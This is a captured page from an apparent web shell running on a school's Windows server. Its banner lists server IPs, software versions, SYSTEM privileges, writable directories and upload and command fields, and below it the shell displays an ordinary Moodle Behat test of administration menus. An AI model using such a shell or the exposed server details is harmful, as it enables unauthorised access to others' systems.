403Webshell
Server IP : 172.67.187.206  /  Your IP : 172.71.28.155
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/myschool/triamudom/tuprblearn/theme/classic/tests/behat/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/myschool/triamudom/tuprblearn/theme/classic/tests/behat/pageadministrationmenu.feature
@javascript @theme_classic
Feature: Page administration menu
  To navigate in classic theme I need to use the page administration menu

  Background:
    Given the following "courses" exist:
      | fullname | shortname | newsitems |
      | Course 1 | C1        | 5 |
    And the following "users" exist:
      | username | firstname | lastname | email |
      | teacher1 | Teacher | 1 | [email protected] |
      | student1 | Student | 1 | [email protected] |
    And the following "course enrolments" exist:
      | user | course | role |
      | teacher1 | C1 | editingteacher |
      | student1 | C1 | student |
    And the following "activities" exist:
      | activity | name        | intro                   | course | idnumber | option |
      | choice   | Choice name | Test choice description | C1     | choice1  | Option 1, Option 2, Option 3 |

  Scenario: Teacher can access activity administration menus
    And I log in as "teacher1"
    And I am on "Course 1" course homepage
    And I follow "Choice name"
    And I should see the page administration menu
    And "Edit settings" "link" should exist in current page administration
    And I navigate to "Edit settings" in current page administration
    And I should see "Updating: Choice"
    And I navigate to course participants
    And I should see the page administration menu
    And I navigate to "Users > Enrolment methods" in current page administration
    And I should see "Enrolment methods"
    And I log out

  Scenario: Student cannot access course and activity administration menus
    And I log in as "student1"
    And I am on "Course 1" course homepage
    And I should not see the page administration menu
    And I follow "Choice name"
    And I should not see the page administration menu
    And I log out

  Scenario: Administrator can access site administration menus and sub-menus
    And I log in as "admin"
    And I should see the page administration menu
    And I navigate to "Advanced features" in site administration
    And I should see "Enable comments"
    And I navigate to "Users > Accounts > Add a new user" in site administration
    And I should see "New password"
    And I log out

Youez - 2016 - github.com/yon3zu
LinuXploit